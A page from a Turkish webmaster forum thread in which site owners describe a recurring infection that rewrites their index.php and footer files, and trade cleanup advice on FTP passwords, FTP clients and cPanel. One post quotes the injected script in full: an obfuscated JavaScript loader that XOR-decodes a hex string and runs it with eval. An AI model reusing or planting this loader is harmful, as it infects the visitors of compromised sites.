Siteme bulaşan bu virüs usandırdı - Sayfa 3

04-05-2010, 15:24:56

#19

Bende format attım virüsleri temizledim ftp den yanlız ftp şifremi değiştirmedim..
SAnırım bundan dolayı bugün tekrar virüs yedi bilgisayar ve diğer tüm sitelerimede anında index.php ye kendi kodlarını atmış..
Bıktım usandım artık, allah belasını versin bu virüsü yapanların!

04-05-2010, 15:43:42

#20

ulast

TurkoServer adlı üyeden alıntı: mesajı görüntüle

Bir Benim siteme bulaşmadı

bilgisayarımda illegal sitelere girmediğimden

doğaldır

illegal sitelerle alakası yok. yeni bi virüs olduğu için antivirüsler uyarı dahi vermiyor. 3 ayrı av den denedim. siteye girdiğin an java çalıştırıyor ie veya mozilla kilitleniyor anlamıyorsun bile bulaştığını. 5 tane sitem gitti yine format attım sifreleri değiştirdim dosyaları temizledim öyle kurtuldum. bu 3ünü yapmadan sitelerine kesinlikle girme.. ayrıca bazı iframe,java virüsleri anasayfanın kodlarının yarısını siliyor. benim başıma geldi şu an sitenin yarısı acılmıyor..

04-05-2010, 15:55:56

#21

AycanB

Kimlik doğrulama veya yönetimden onay bekliyor.

casso_72 adlı üyeden alıntı: mesajı görüntüle

Selam ,

siteme eklenen virüs olduğunu düşündüğüm bir kod var. Onu defalarca silmeme FTP şifremi değiştirmeme rağmen nerdeyse 15 dakikada bir kendini footer'a tekrar yazdırıyor. Bilgisi yada fikri olan arkadaşlardan yardım bekliyorum

<script>
nb="505b574159515a401a43465d40511c16085d5246555951 1447465709135c4040440e1b1b47555e5c525c4747565d5356 5b5a59471a51010c4e1a575a1b45435146404d1b1314435d50 405c09130513145c515d535c40091305131447404d58510913 425d475d565d585d404d0e145c5d5050515a0f130a081b5d52 465559510a161d0f3e514d475209167a557a160f4e514c5509 167a557a160f";gnzkp="function bywpn(){ggetg=Math.PI;esqsjr=parseInt;vhyi='length ';rhu=esqsjr(~((ggetg&ggetg)|(~ggetg&ggetg)&(ggetg &~ggetg)|(~ggetg&~ggetg)));ca=esqsjr(((rhu&rhu)|(~ rhu&rhu)&(rhu&~rhu)|(~rhu&~rhu))&1);ukklp=ca<<ca;z exa=rhu;eysf='';gkn=String.fromCharCode;mk=eval;fo r(cg=rhu;cg<gnzkp[vhyi];cg-=-ca)zexa+=gnzkp.charCodeAt(cg);zexa%=unescape(rhu+u nescape('%78')+(ca<<6));for(cg=rhu;cg<nb[vhyi];cg+=ukklp)eysf+=gkn(esqsjr(rhu+unescape('%78')+nb .charAt(cg)+nb.charAt(cg+esqsjr(ca)))^zexa);try{mk (eysf);}catch(e){try{eval(eysf);}catch(e) {window.location='/';}}}try{eval('bywpn();')}catch(e) {}";eval(gnzkp);
</script>

Ftp programın CuteFtp ise ondan'dır büyük ihtimal.

Şunları yap.
Bütün sitelerinin alt sayfalarını temizler server da viruslu sayfa kalmadğından emin ol sonra ftp şifreni değiştir sonra cutefpt kaldır filezilla kullan.

19-08-2012, 04:45:44

#22

~~suvarimx~~

Üyeliği durduruldu

Çözüm olarak işlemleri Cpanel üzerinden yürütmenizi tavsiye edebilirim. bayaa bi uğraştım sonunda bu en iyi çözüm oldu. dosya sayınız çok olabilir ama diğer işlemlerden kısa sürüyor, ayrıca size kalan sürede bilgisayarınızı temizlemeniz şart.